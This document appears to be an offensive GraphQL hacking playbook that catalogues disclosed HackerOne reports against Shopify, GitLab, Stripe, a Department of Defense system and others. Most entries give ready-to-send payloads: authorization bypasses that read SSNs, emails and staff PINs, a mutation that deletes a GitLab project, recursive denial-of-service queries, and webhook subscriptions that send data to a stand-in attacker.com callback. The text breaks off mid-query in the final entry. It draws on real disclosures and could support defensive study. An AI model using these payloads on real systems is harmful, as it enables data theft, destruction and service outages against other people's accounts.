Introspection is GraphQL's built-in self-documentation. If it is on, one query returns every type, field, argument, and mutation.
# Always application/json. A missing header hides a live endpoint.
POST /graphql HTTP/1.1
Host: TARGET
Content-Type: application/json
{"query":"query{__schema{queryType{name} mutationType{name} types{name kind fields{name}}}}"}
// 1. Websocket start message — auth/introspection hardening is usually HTTP-only (#862835)
{"type":"connection_init","payload":{}}
{"type":"start","id":"1","payload":{"query":"query IntrospectionQuery{__schema{types{name kind fields{name}}}}"}}
# 2. Field-suggestion errors leak names one at a time ("Did you mean 'email'?")
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"query{user{emial}}"}
POST /graphql HTTP/1.1
Content-Type: application/json
# nodes is a distinct, often-unguarded path to the same records
{"query":"{ users { nodes { email account_recovery_phone_number otp_backup_codes totp_enabled vpn_credentials { name } } } }"}
Object-level authz frequently passes while field-level authz is missing — you own the object, but it exposes fields you shouldn't read. Enumerate every field of user/staff/team objects: pin, secret, phone, ssn, token, total_count.
POST /admin/api/unversioned/graphql HTTP/1.1
Content-Type: application/json
X-Shopify-Access-Token: LOW_PRIV_XAUTH_TOKEN
# staffMembers.pin leaks a Manager PIN to a stripped-down user (#1091303)
{"query":"{ shop{ staffMembers(first:100){ edges{ node{ name pin isShopOwner } } } } }"}
POST /api/graphql HTTP/1.1
Content-Type: application/json
# Same authenticated session, someone else's records (#2954320)
{"query":"query{ findLdapPersonByDodId(dodId:\"VICTIM_DODID\"){ givenName sn ssn rank mail uic status } }"}
POST /graphql HTTP/1.1
Content-Type: application/json
# base64("gid://hackerone/EmbeddedSubmissionForm/9") — increment the PK, read back the UUID
{"query":"{ node(id:\"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==\"){ ... on EmbeddedSubmissionForm{ uuid team{ handle policy } } } }"}
// Annotation-delete authz is lenient; run it against a Project GID -> repo deleted (#960244)
mutation {
deleteAnnotation(input: {id: "gid://Gitlab/Project/VICTIM_PROJECT_ID"}) {
clientMutationId
}
}
Even when the parent object is authorized, its child connections may not be. Expand every sub-connection on a User/Team node and hunt for private metadata leaking through an unguarded child — including objects where report:null but the metadata fields are still populated (#871749).
POST /graphql HTTP/1.1
Content-Type: application/json
# report_retests leaks asset/severity/weakness for never-disclosed reports (#871749)
{"query":"{ user(username:\"VICTIM\"){ report_retests{ nodes{ report{_id} asset_name asset_type severity_rating weakness_name } } } }"}
POST /graphql HTTP/1.1
Content-Type: application/json
# aggs returns aggregated private field values (e.g. private-program handles) without ever returning a guarded row
{"query":"{ opportunities_search(query:{}, aggs:{results:{terms:{field:\"handle\"}}}){ aggs } }"}
Mutations leak two ways. Invite/collaborate flows that accept a username often resolve it to the account and echo the private email in the response before the invite is accepted (#2032716). And webhook-subscription mutations that don't check per-topic authorization become an exfil pipe: subscribe a sensitive topic to your own callback (#1350095).
// Zero-permission staff subscribes a sensitive topic to COLLAB -> receives the data (#1350095)
{"operationName":"webhookSubscriptionCreate",
"variables":{"topic":"BULK_OPERATIONS_FINISH","webhookSubscription":{"callbackUrl":"https://COLLAB/"}},
"query":"mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!){ webhookSubscriptionCreate(topic:$topic, webhookSubscription:$webhookSubscription){ webhookSubscription{ id } } }"}
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 42 in this class.
Real-world example
GraphQL `nodes` connection field bypasses field-level authz
◆ Critical
Specimen #489146 · security · awarded · 1032 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A migration to graphql-ruby's class-based API auto-added a `nodes` helper on every connection. Unlike `edges { node }`, `nodes` skipped attribute-level authorization scopes, serializing sensitive User fields to any caller.
Method
- Enumerate connection types in the schema (introspection or known queries)
- For each connection request `nodes { <sensitive fields> }` instead of `edges { node { ... } }`
- Diff which fields return under nodes vs edges to find the unguarded path
{ users() { nodes { email account_recovery_phone_number otp_backup_codes facebook_user_id totp_enabled vpn_credentials { name } } } }
Insight — On GraphQL, request the SAME data through every available traversal (nodes vs edges, aliases, nested parents). Authorization is often enforced per-resolver, so an alternate field reaching the same object leaks what the guarded path blocks.
Real-world example
Unauthenticated GraphQL node(id) discloses private-program assets by gid enumeration
◆ Critical
Specimen #1618347 · security · 25000 · 285 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The generic Relay node(id:) resolver returned PolicyPageAssetGroup objects (private program names/scope) with no authorization check; enumerating the numeric portion of the gid leaked private program data to unauthenticated users.
Method
- Take a known gid type: gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/{id}
- Query node(id) requesting the inline fragment fields
- Enumerate {id} to walk private programs
{"query":"{node(id:\"gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/3981-41287\"){... on PolicyPageAssetGroupDocument{id,name}}}"}
Insight — The Relay/global node() interface is a universal IDOR surface: it resolves many types through one field that frequently skips per-type auth. Enumerate gids (raw or base64) to pull private objects.
Real-world example
GraphQL over-fetch of private email/counts via privileged sub-fields
◆ Critical
Specimen #2382120 · security · awarded · 99 votes · resolved
Program securitySurface graphqlChain API bounty creation -> target user attached to your progrTag graphql
Root cause
GraphQL nodes exposed privileged sub-fields (invitations{email}, reporter{email}, whitelisted_hackers{total_count}) that were not authorization-checked at field level; by creating a bounty to a target user_id via the Customer REST API then querying BountiesHistoryQuery, the target's private email was returned.
Method
- Create an API token (report manager role) for a sandbox program
- Copy any target user's id from their profile
- POST a bounty to that recipient_id via the Customer API (/v1/programs/{id}/bounties)
- Run BountiesHistoryQuery for your sandbox handle and read node.report.reporter.email / invitations.email from the response
POST https://api.hackerone.com/v1/programs/{id}/bounties
{"data":{"type":"bounty","attributes":{"recipient_id":"<TARGET_USER_ID>","amount":51,"reference":"x","title":"x","currency":"USD","severity_rating":"high"}}}
# then GraphQL:
query BountiesHistoryQuery($handle:String!,$pageSize:Int!,$cursor:String){team(handle:$handle){bounties(first:$pageSize,after:$cursor){edges{node{awarded_user{username} invitations{email token} report{reporter{email id username}}}}}}}
Insight — On GraphQL, request every sub-field of every returned node (email, token, counts) - field-level authz is often missing even when object-level is enforced. Chain a state-changing API call (award/invite) to attach a target object to your own tenant, then read its privileged fields back.
Real-world example
GraphQL introspection + missing object-level authz -> mass PII extraction
◆ Critical
Specimen #2954320 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface graphqlChain introspection -> enumerate by-id queries -> BOLA on eaTag graphql
Root cause
An authenticated GraphQL API allowed full introspection and enforced no per-object authorization, so any low-privilege user could query arbitrary users' records (SSN, clearance, evaluations, board membership) by DoDID/GUID.
Method
- Authenticate as any low-privilege user and capture the /graphql POST in Burp
- Run a full introspection query to recover the schema (types, queries by-id)
- Identify by-identifier queries (userByDodId, evaluationsByDodId, findLdapPersonByDodId, candidatesForBoard, boardEventVoters)
- Supply other users' identifiers (DoDIDs harvestable from an org address book / GUIDs from your own records) to read their data
- Iterate to bulk-harvest PII across the org
POST /api/graphql HTTP/1.1
Content-Type: application/json
{"query":"query{findLdapPersonByDodId(dodId:\"VICTIM_DODID\"){givenName sn ssn rank mail branchOfService uic status}}"}
# also: userByDodId, evaluationsByDodId, candidatesForBoard(boardGuid:...), boardEventVoters(boardEventGuid:...)
Insight — On any GraphQL API: (1) always attempt introspection to map by-id queries; (2) authorization is frequently enforced at the endpoint but NOT per object - swap your own identifier for another user's to test BOLA. Identifiers often leak from adjacent systems (address books, your own record's relations).
Real-world example
Mutation response echoes victim's private email pre-acceptance
◆ High
Specimen #2032716 · security · 12500 · 425 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
SaveCollaboratorsMutation resolved a username to the underlying account and returned/echoed the private email in the collaboration flow before the invited user accepted.
Method
- Create a dummy report, add target as collaborator by username
- Re-open the collaborators editor and capture the GraphQL traffic
- Read the victim's email surfaced in the mutation/response
POST /graphql
{"operationName":"SaveCollaboratorsMutation","variables":{"input":{"report_id":<ID>,"collaborators":[{"username_or_email":"<VICTIM>"}]}},...}
Insight — Invite/collaborate flows that accept a username often resolve and return the private email tied to it. Test whether username->email resolution leaks in the mutation response.
Real-world example
Relay node interface exposes UUID-gated objects via auto-increment PK
◆ High
Specimen #447930 · security · none · 54 votes · resolved
Program securitySurface graphqlChain node(id: PK) -> leak secret UUID -> UUID grants inviteTag graphql
Root cause
An object is meant to be addressed only by an unguessable UUID, but it still has a sequential primary key, and the GraphQL Relay node(id:) interface accepts the base64 gid://app/Type/<PK>, letting an attacker enumerate objects by PK and read back the secret UUID (and over-exposed related fields).
Method
- Take a known node global ID and base64-decode it to gid://app/EmbeddedSubmissionForm/<PK>
- Increment/decrement the PK, base64 re-encode
- Query node(id:) selecting the UUID field to recover the secret UUID
- Use the UUID (e.g. as embedded_submission_form_uuid) to query team{handle policy} and read private program info
query { node(id:"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==") { ... on EmbeddedSubmissionForm { uuid team { handle policy } } } }
Insight — A UUID is not access control if the object is also reachable by sequential PK through the Relay node interface. Decode every base64 gid, fuzz the numeric PK, and request the 'secret' fields (uuid, tokens) back. Two distinct bugs to report: node-interface object exposure AND the related object (Team) over-exposing fields.
Real-world example
GraphQL node() interface bypasses object-level authz on private-program objects
◆ High
Specimen #781150 · security · none · 30 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The StructuredScope protector grants field access to any user holding the H1_PENTESTER role with the CAN_INVITE_HACKERS feature, but never verifies the user actually has a Pentest relationship to that scope; the generic Relay node(id:) interface then returns any StructuredScope by global id.
Method
- Authenticate as an H1 pentester
- Issue a GraphQL query against the node(id:) interface with a base64 StructuredScope global id
- Cast the node to StructuredScope and select its fields
- Receive scope data (asset_identifier, instruction, etc.) for private programs you were never invited to
query {
node(id: "Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS8x") {
... on StructuredScope { _id asset_identifier asset_type }
}
}
Insight — The Relay node(id:) / global-id interface is a notorious authz bypass: object-level checks bound to specific query fields are skipped when the same object is fetched generically by id. Always re-test every protected object through node(id:).
Real-world example
Cross-tenant GraphQL mutation (role checked, tenant not)
◆ High
Specimen #1066203 · stripe · awarded · 25 votes · resolved
Program stripeSurface graphqlTag graphql
Root cause
UpdateAtlasApplicationPerson checked that the caller had Admin role on some Stripe account but not that the target Atlas application belonged to that account, letting an admin of one merchant add a co-founder to another merchant's Atlas application (cross-tenant write).
Method
- Gain Admin on any Stripe account
- Invoke the UpdateAtlasApplicationPerson mutation referencing another merchant's Atlas application id
- Mutation succeeds - a person is written into the foreign tenant's application
mutation { UpdateAtlasApplicationPerson(applicationId: "<VICTIM_TENANT_APP_ID>", person: { role: cofounder, ... }) { ... } }
Insight — Role checks (is-admin) are not tenant checks (is-admin-OF-THIS-object). On multi-tenant GraphQL, retest privileged mutations with an object id from a second tenant you also control to prove the missing tenant scoping.
Real-world example
GraphQL global-ID type confusion via untyped object_from_id
◆ High
Specimen #960244 · gitlab · awarded · 16 votes · resolved
Program gitlabSurface graphqlChain type confusion in find_object -> weak annotation-delete aTag graphql
Root cause
The annotation mutations' find_object calls GitlabSchema.object_from_id(id) with no check that the resolved object is actually an Annotation. authorized_find! then runs the delete permission check against whatever object the attacker's GID points to; since a Developer may delete_metrics_dashboard_annotation, passing a Project GID deletes the whole project/repository.
Method
- As a Developer (or any role that passes the annotation permission) on a target project
- Send the deleteAnnotation mutation but supply a GID for a different object type, e.g. gid://Gitlab/Project/<id>
- object_from_id returns the Project; the annotation-delete authz passes; DeleteService destroys the project + repository
mutation {
deleteAnnotation(input: {id: "gid://Gitlab/Project/<project-id>"}) {
clientMutationId
}
}
Insight — GraphQL global IDs are opaque but polymorphic: any resolver that does object_from_id / GlobalID.find without asserting the expected type lets you smuggle a different object into an authorization check meant for a weaker one. On every GraphQL mutation, try replacing the id argument with a GID of a higher-value type and see if the permission check (which may be lenient for the intended type) is applied to your substituted object.
Real-world example
Nested GraphQL node field leaks undisclosed-report metadata
◆ Medium
Specimen #871749 · security · awarded · 189 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The report_retests connection on the User GraphQL node lacked field-level authz, exposing asset_name, asset_type, severity_rating and weakness_name for reports that were never disclosed (report:null objects). A related flaw exposed Team.payment_transactions.total_count unauthenticated.
Method
- Query a User/Team node and expand every nested connection (retests, transactions, etc.)
- Look for objects where report:null but metadata fields are still populated
- Correlate asset/severity/weakness to profile private programs' undisclosed activity
query { user(username:"X"){ report_retests { nodes { report{_id} asset_name asset_type severity_rating weakness_name report_substate } } } }
Insight — Even when the parent object is authorized, its nested fields may not be. Expand every sub-connection on a GraphQL node and hunt for private metadata leaking through un-guarded child fields.
Real-world example
GraphQL node(id) global-ID lookup bypasses object-level authorization
◆ Medium
Specimen #978143 · security · USD 2500 · 146 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The generic node(id:) resolver fetches any object by its global relay ID without re-checking per-object authorization, returning fields (private_comment, respondent email/username) that the type's normal query path would gate.
Method
- Obtain/guess a global node ID (gid://app/Type/NNN)
- Query node(id:) unauthenticated and inline-fragment the target type
- Select sensitive fields directly (private_comment, email, etc.)
{"query":"query { node(id: \"gid://hackerone/SurveyRatingItem/ID\") { ... on SurveyRatingItem { _id key private_comment survey_rating { respondent { username email } } } } }"}
Insight — GraphQL's generic node()/relay interface is a classic BOLA sink - authz is often enforced on top-level queries but not on the node resolver. Always retry blocked objects through node(id:) with inline fragments.
Real-world example
Unprotected Team GraphQL fields enumerate private programs
◆ Medium
Specimen #770209 · security · USD 2500 · 142 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Several Team object fields (report_sources, vpn_suspended, policy_markdown_html) are returned without authorization; their value differs between programs that run a private program and those that do not, letting an attacker enumerate hidden private programs.
Method
- Query team(handle:) for the leaky fields on each candidate handle
- report_sources non-empty (['HackerOne Platform']) => private program
- vpn_suspended set / policy_markdown_html returns internal policy => private program exists
{"query":"query { team(handle:\"TARGET\"){ _id report_sources vpn_enabled vpn_suspended policy_markdown_html } }"}
Insight — On GraphQL, authorization is per-field: some fields on an otherwise-public object leak internal state. Introspect every field of a shared type and diff responses across known-public vs suspected-private objects to find the leaking one.
Real-world example
GraphQL where-filter enumerates private objects (private program disclosure)
◆ Medium
Specimen #1276992 · security · 2500 · 129 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The teams GraphQL query honoured arbitrary boolean where-filters (roles is_private AND is_has_published_external_program) and returned handles/counts for private programs, letting an attacker enumerate otherwise-hidden objects by filtering.
Method
- Send a teams query with a where clause filtering on private/internal attributes
- Read the returned handles/total_count of private objects
{"query":"{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state}}}"}
Insight — Rich GraphQL where/filter arguments are an enumeration oracle: filter on is_private/internal booleans to list objects you shouldn't see. Always test attribute-based filters on list queries.
Real-world example
Field-level authz bypass via GraphQL _or/_and filter
◆ Medium
Specimen #645299 · security · none · 81 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A 'secure schema' rewrites filterable fields (state -> __new_filterable_state) to enforce field-level authz, but only the FIRST clause of an _or/_and array is rewritten; subsequent clauses query the unprotected schema, letting you infer a hidden field's value.
Method
- Find a collection with a where filter on a field you cannot read
- Wrap two identical equality conditions in _or
- Server returns rows matching the guessed value (with the field itself null), confirming the value by inference
query {
teams(where:{_or:[{state:{_eq:soft_launched}},{state:{_eq:soft_launched}}]}) {
edges { node { id state } }
}
}
Insight — When an API applies field-level security, test boolean/list operators (_or, _and, _not, nested filters). Rewriting logic often only patches the first/top-level predicate. Inference-by-filter recovers a value you are forbidden to select directly.
Real-world example
GraphQL over-fetch of unprotected private fields
◆ Medium
Specimen #343464 · security · 2500 · 75 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Nested/scalar GraphQL fields that should be restricted (team_member_groups{name,permissions}; ibb_bounty_table) are resolvable by any caller because the resolver lacks a field-level authorization check.
Method
- Introspect or guess sensitive fields hanging off an object you can query (Team by handle)
- Select the private nested field directly in the query
- Read internal RBAC/permission structure or private config that the UI never exposes
query { team(handle:"security"){ team_member_groups{ id name permissions } } }
# variant (merged #2322082):
query { team(handle:"security"){ ibb_bounty_table{ critical high medium low } } }
Insight — GraphQL authz is per-resolver: an object being visible does not mean every field on it is guarded. Enumerate all selectable fields (introspection or wordlists) and request the sensitive-sounding ones directly - permissions, internal groups, budgets, private config.
Real-world example
GraphQL auth bypass by prepending __schema to private ops
◆ Medium
Specimen #3452015 · enjin · awarded · 73 votes · resolved
Program enjinSurface graphqlTag graphql
Root cause
The GraphQL auth guard classifies a request as public/introspection when it contains __schema, so prepending __schema to a document lets private operations run without authentication (only ops that later dereference the user object error out).
Method
- Take a private query/operation
- Prepend an introspection selection (__schema) so the guard treats the request as introspection/public
- Send unauthenticated -> private queries execute
query { __schema { queryType { name } } privateOperation { ...sensitiveFields } }
Insight — Test GraphQL auth middleware that special-cases introspection: mixing __schema with real operations can flip the whole request to 'public'. General lesson: per-request (not per-field) auth decisions based on document content are bypassable by adding an allowlisted field.
Real-world example
Over-broad object scope in GraphQL mutation + skip_authorization interactor
◆ Medium
Specimen #717716 · security · none · 65 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A mutation resolves the target object with schema.object_from_id and re-fetches it through a scope that returns everything the user can *see* rather than everything they can *manage*; the downstream interactor explicitly skip_authorization, so a visible-but-not-owned team can be mutated.
Method
- Grab a team_id (base64 gid) for any program you can merely see
- Send the UpdateGatewayProgramState mutation with that team_id and vpn_suspended true/false
- For Gateway-enabled programs the VPN state is toggled; others 500 (still confirming the missing authz)
POST /graphql
{"query":"mutation updateState($input_0:UpdateGatewayProgramStateInput!){updateGatewayProgramState(input:$input_0){team{handle}}}","variables":{"input_0":{"team_id":"Z2lkOi8vaGFja2Vyb25lL1RlYW0vMTM=","vpn_suspended":false,"clientMutationId":"0"}}}
Insight — For GraphQL mutations, check the scope used to reload the object: 'objects I can see' vs 'objects I can manage'. object_from_id + a see-scope + an interactor that skips authorization is a recurring IDOR pattern. A 500 on an unrelated ID vs 200 on a feature-enabled one is a strong side-channel signal.
Real-world example
GraphQL parallel-authz gap: namespace query returns REST-blocked private data
◆ Medium
Specimen #614355 · gitlab · awarded · 64 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
GitLab's GraphQL namespace resolver enforces weaker authorization than the REST/Web API: private user profiles and secret group descriptions/metadata that REST returns 404 for are returned by GraphQL, even unauthenticated.
Method
- Confirm a target is private via REST/Web (404 / not found)
- Query the GraphQL namespace(fullPath: ...) resolver for the same handle
- Read description, projects, visibility and other metadata GraphQL returns without a token
curl 'https://gitlab.com/api/graphql' -H 'Content-Type: application/json' --data '{"query":"{namespace(fullPath:\"secret-group-213\"){description fullName fullPath id visibility projects(includeSubgroups:true){edges{node{id name visibility description}}}}}"}'
Insight — A newer/second API surface (GraphQL) often reimplements object access without porting all the REST authorization checks. For any object hidden by REST/Web, re-request it through GraphQL (and vice versa) - the private-profile / secret-group protections were effectively void through GraphQL.
Real-world example
UI-layer redaction bypass via GraphQL mutation echoing sensitive fields
◆ Medium
Specimen #2357012 · security · awarded · 59 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Report redaction was applied at the presentation layer, but the ShareReportViaEmail GraphQL mutation's return selection (report{impact title vulnerability_information}) resolved the underlying unredacted fields in the response.
Method
- Locate a mutation/query whose selection set can request the sensitive fields of an object you only see redacted
- Issue the mutation requesting report{impact,title,vulnerability_information}
- Read the sensitive values from the mutation response despite UI redaction
POST /graphql
mutation ShareReportViaEmail($reportId: ID!,$message:String!,$emails:[String!]!){
shareReportViaEmail(input:{report_id:$reportId,message:$message,emails:$emails}){
report{impact title vulnerability_information}
}
}
variables: {reportId:"gid://hackerone/Report/<id>",message:"x",emails:["you@wearehackerone.com"]}
Insight — Redaction/obfuscation done in the UI is not enforcement. On GraphQL, request the raw fields of a partially-visible object through any mutation/query that returns that object; resolvers frequently return unredacted data.
Real-world example
Recursive introspection DoS (no depth limit)
◆ Medium
Specimen #2048725 · sorare · awarded · 56 votes · resolved
Program sorareSurface graphqlTag graphql
Root cause
GraphQL introspection was public with no query-depth/complexity limit; a circular query walking __schema.types->fields->type->fields repeatedly forces massive schema serialization, degrading the server on a single unauthenticated request.
Method
- Confirm introspection is enabled (public playground)
- Craft a circular __schema query nesting types{fields{type{fields{...}}}}
- Add more recursion loops to increase response size/latency
- Single request returns megabytes and multi-second delay on both GraphQL instances
POST /graphql
Content-Type: application/json
{"query":"query { __schema { types { fields { type { fields { type { fields { type { fields { name }}}}}}}}}"}
Insight — On any GraphQL endpoint with introspection on, test recursive/circular field expansion for a single-request DoS. No auth or botnet needed; each added loop multiplies cost. Recommend depth+complexity limits.
Real-world example
GraphQL over-fetch of PIN field + token-scope escalation (Shopify POS)
◆ Medium
Specimen #1091303 · shopify · awarded · 46 votes · resolved
Program shopifySurface graphqlChain low-priv user -> xauth access_token -> GraphQL StaffMeTag graphqlTag account-takeover
Root cause
A low-privilege user can obtain a broadly-scoped POS access_token from /admin/api/xauth, then query the GraphQL StaffMember object which exposes the sensitive 'pin' field for all staff, letting them read a Manager PIN and escalate on the physical POS.
Method
- Create a low-priv shop+POS user and strip its admin permissions
- Grab the POS api_key from /admin/apps/pos
- POST credentials to /admin/api/xauth to receive an access_token
- Send that token as X-Shopify-Access-Token to the unversioned GraphQL endpoint and query staffMembers { ... pin ... }
- Read the Manager PIN and use it on the POS device to escalate
POST /admin/api/xauth
{"api_key":"...","login":"lowpriv@ex.com","password":"..."}
# -> access_token
POST /admin/api/unversioned/graphql
X-Shopify-Access-Token: <token>
{"query":"query{ shop{ staffMembers(first:100){ edges{ node{ name pin isShopOwner } } } } }"}
Insight — On GraphQL, enumerate every field of user/staff objects (pin, secret, phone, privateData) - authz is often per-object, not per-field. Also test whether a low-priv login mints a token whose scope exceeds the user's UI permissions.
Real-world example
GraphQL global-id -> ActiveResource param injection (internal REST) via URL-encoding
◆ Medium
Specimen #800231 · security · none · 42 votes · resolved
Program securitySurface graphqlChain GraphQL node id injection -> internal Payments REST indexTag graphql
Root cause
A GraphQL node(id:) global ID is passed unencoded as the resource identifier to a Rails ActiveResource model whose transport is HTTP; ActiveResource does not re-encode the id, so URL-encoded characters in the id part of the gid inject path/query into the internal REST request.
Method
- Find models exposed via the GraphQL node interface that are backed by ActiveResource (HTTP transport to an internal service).
- Confirm the id is used verbatim in the internal path: node(id:'gid://app/Payment/1') -> GET /payments/1.
- URL-encode a '?' and '&' inside the id part to break out of the path into query params: %3f = '?', %26 = '&', trailing %26 to make the router ignore the appended .json.
- Point the internal find at the index endpoint with attacker-chosen filters and use response timing (records found vs none) as an oracle.
query {
node(id: "gid://hackerone/PaymentsLibrary::Payment/%3fcore_hacker_username%3djobert%26core_team_handle%3dsecurity%26") {
... on User { id }
}
}
# -> GET /payments/?core_hacker_username=jobert&core_team_handle=security%26.json
Insight — When a public GraphQL/id maps to an internal service call, test whether the identifier is encoded. URL-encoded ?/& inside opaque IDs can pivot a single-record lookup into an index/filter call against an internal REST API; use RTT differences as a boolean oracle even when the response is always a 500.
Real-world example
GraphQL query returns private objects (missing object-level authz)
◆ Medium
Specimen #1085332 · shopify · $1900 · 34 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The shopApps GraphQL query returns all apps including isPrivate:true entries with no per-object authorization filtering, letting an admin-scoped user enumerate every app (public and private) platform-wide.
Method
- Capture the internal GraphQL request from the users admin page
- Send shopApps(first:10000) selecting isPrivate/handle/name/clientId
- Filter the response for isPrivate:true
{"query":"query { shopApps(first:10000){ edges{ node{ id isPrivate handle name title shopifyApiClientId }}}}"}
Insight — GraphQL list/collection resolvers often lack the object-level authz enforced on single-item queries; request large 'first:' counts and grep for private/internal flags in the nodes.
Real-world example
GraphQL aggregation (aggs/terms) leaks private field values past row auth
◆ Medium
Specimen #1838329 · HackerOne · none · 32 votes · resolved
Program HackerOneSurface graphqlTag graphql
Root cause
The search/opportunities_search endpoints applied access control to returned documents but not to the aggregation buckets, so terms aggregation over a field (e.g. handle) enumerated values from records the caller could not directly read.
Method
- Open a GraphQL client authenticated as a low-privilege user
- Call search/opportunities_search with an aggs terms aggregation on a sensitive field
- Read the returned bucket keys, which include values from private/unauthorized records
query {
opportunities_search(query:{}, aggs:{results:{terms:{field:"handle"}}}) {
aggs
}
}
Insight — Aggregations, facets, counts, and sort/order-by are a classic row-level-security bypass: the row is hidden but its field value leaks through the aggregate. On any GraphQL/search API, try terms/histogram aggregations over id, handle, email, owner to exfiltrate hidden values.
Real-world example
GraphQL user(username) leaks private email / private fields
◆ Medium
Specimen #972355 · gitlab · awarded · 29 votes · resolved
Program gitlabSurface graphqlTag graphqlTag account-takeover
Root cause
GraphQL exposes a top-level user(username) resolver whose fields (email, feature notifications, etc.) lack per-field authorization, so any authenticated user reads another user's private data by username. Related pattern: swapping the me{} node for user(username){} on the same query.
Method
- Set your own email to private in settings to confirm the field is meant to be hidden
- Query the GraphQL endpoint for the victim by username, requesting the sensitive field
- Read the leaked value; iterate over a username list for mass leakage
query { user(username:"<victim>"){ email username } }
/* variant (report 316810) - swap me for user to read private fields: */
query New_feature { user(username:"<victim>"){ id username reputation new_feature_notification { name description url id } } }
Insight — Enumerate every field reachable on a GraphQL user/object node by identifier and diff what a private setting is supposed to hide vs what the resolver actually returns. Field-level authz is frequently missing even when object-level access is intended to be public.
Real-world example
No-permission staff creates webhook subscription -> data exfiltration
◆ Medium
Specimen #1350095 · shopify · awarded · 26 votes · resolved
Program shopifySurface graphqlChain low-priv staff -> webhook create -> exfil bulk-operatiTag graphqlTag webhook
Root cause
The webhookSubscriptionCreate mutation does not verify the caller's permissions for the chosen topic, so a staff member with no permissions can subscribe a sensitive topic (BULK_OPERATIONS_FINISH) to an attacker callback URL and receive data they shouldn't access.
Method
- Authenticate as a zero-permission staff user
- Send webhookSubscriptionCreate for topic BULK_OPERATIONS_FINISH with your callbackUrl
- Receive bulk-operation notifications/data at the attacker endpoint
POST /admin/internal/web/graphql/core?operation=PageStaff HTTP/1.1
{"operationName":"webhookSubscriptionCreate","variables":{"topic":"BULK_OPERATIONS_FINISH","webhookSubscription":{"callbackUrl":"https://attacker.com"}},"query":"mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!){ webhookSubscriptionCreate(topic:$topic, webhookSubscription:$webhookSubscription){ userErrors{field message} webhookSubscription{ id } } }"}
Insight — Webhook-subscription mutations are an underchecked exfiltration surface: try creating subscriptions for sensitive topics with a low-priv account and point callbackUrl at your collaborator. Missing per-topic authorization turns a benign-looking mutation into a data pipe.
Real-world example
GraphQL introspection over unauthenticated WebSocket subscription
◆ Medium
Specimen #862835 · nuri · none · 17 votes · resolved
Program nuriSurface graphqlChain Schema dump -> targeted BOLA/BFLA/mutation abuse.Tag graphql
Root cause
Even when the HTTP GraphQL endpoint enforces auth/disables introspection, the graphql-ws subscription transport accepts a full introspection query inside a 'start' message without authentication, dumping the entire schema.
Method
- Find the GraphQL WebSocket endpoint (subscriptions transport, graphql-ws/subscriptions-transport-ws).
- Open the socket and send a 'start' message whose payload.query is the standard IntrospectionQuery.
- Receive the full schema (types, fields, mutations) despite HTTP-side auth/introspection controls.
// over the GraphQL WebSocket:
{"type":"connection_init","payload":{}}
{"type":"start","id":"1","payload":{"query":"query IntrospectionQuery{ __schema { queryType{name} mutationType{name} types{ name kind fields{ name } } } }"}}
Insight — Auth/introspection hardening is frequently applied only to the HTTP transport. Always retest introspection over the WebSocket subscription channel; a schema dump there unlocks the rest of the API surface.
Real-world example
Collection query exposes list despite protected object field
◆ Low
Specimen #958374 · security · 500 · 74 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The single-object field (user.h1_pentester) is correctly protected and returns null, but the corresponding collection query (pentester_profiles) has no authz and enumerates every pentester's username, skills, and state.
Method
- Confirm the sensitive attribute is hidden on the per-object query (returns null)
- Look for a sibling collection/list root field for the same data
- Query the collection to dump the whole list the object query withheld
query { pentester_profiles { total_count nodes { state skills{ nodes{ name } } user{ username } } } }
Insight — Field-level protection on one query path does not imply protection on another. For any hidden per-object attribute, hunt the plural/collection resolver, search endpoints, and aggregate counts - they are frequently left ungated.
Real-world example
GraphQL field-level authz gap leaks private program metadata
◆ Low
Specimen #707406 · security · USD 500 · 72 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The Team GraphQL object enforced authz on the program but not on individual scalar fields, so team(handle){industry} returned the industry of programs that are private/invisible.
Method
- Enumerate/guess program handles
- Query the team object requesting only low-guarded scalar fields
- Read fields (industry) that should not be exposed for private programs
{"query": "query {team(handle:\"TARGET_HANDLE\"){_id,industry}}"}
Insight — On GraphQL, authorization is often per-object but not per-field. Request individual scalar fields (industry, _id, counts) of 'private' objects one at a time to find leaks.
Real-world example
GraphQL alias batching to bulk-run a mutation past server-side limits
◆ Low
Specimen #2166697 · security · USD 500 · 37 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A single GraphQL document can contain many aliased copies of the same mutation. If per-request business limits (e.g. max 500 reports) are enforced per HTTP request rather than per operation, aliasing multiplies the effect; combined with single-packet/turbo-intruder it explodes further.
Method
- Identify a rate/count-limited mutation (createReport)
- Generate one query with ~75 aliased createReport mutations
- POST it to /graphql as one request (creates ~75 in one shot)
- Fire ~100 such requests via Turbo Intruder single-packet attack
- Observe thousands of objects created, blowing past the intended cap
mutation BulkReports($team_handle: String!) {
a0: createReport(input: {team_handle: $team_handle, title: "t", vulnerability_information: "v", impact: "i", source: "s"}) { was_successful errors { edges { node { message } } } }
